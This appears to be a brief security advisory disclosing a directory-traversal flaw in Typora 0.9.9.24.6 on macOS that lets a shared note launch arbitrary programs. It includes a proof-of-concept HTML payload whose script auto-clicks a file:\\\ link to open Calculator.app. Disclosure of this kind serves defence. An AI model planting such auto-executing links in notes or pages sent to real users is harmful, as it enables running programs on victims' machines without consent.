Summary:
Typora 0.9.9.24.6 on macOS allows directory traversal, for the execution of
arbitrary programs, via a file:/// or ../ substring in a shared note via
abusing URI schemes.

Technical observation:
A crafted URI can be used in a note to perform this attack using file:///
has an argument or by traversing to any directory like
(../../../../something.app).

Since, Typro also has a feature of sharing notes, in such case attacker
could leverage this vulnerability and send crafted notes to the
victim to perform any further attack.

Simple exploit code would be:

<body>
<a href="file:\\\Applications\Calculator.app" id=inputzero>
<img src="someimage.jpeg" alt="inputzero" width="104" height="142">
</a>
<script>
(function download() {
document.getElementById('inputzero').click();
})()
</script>
</body>
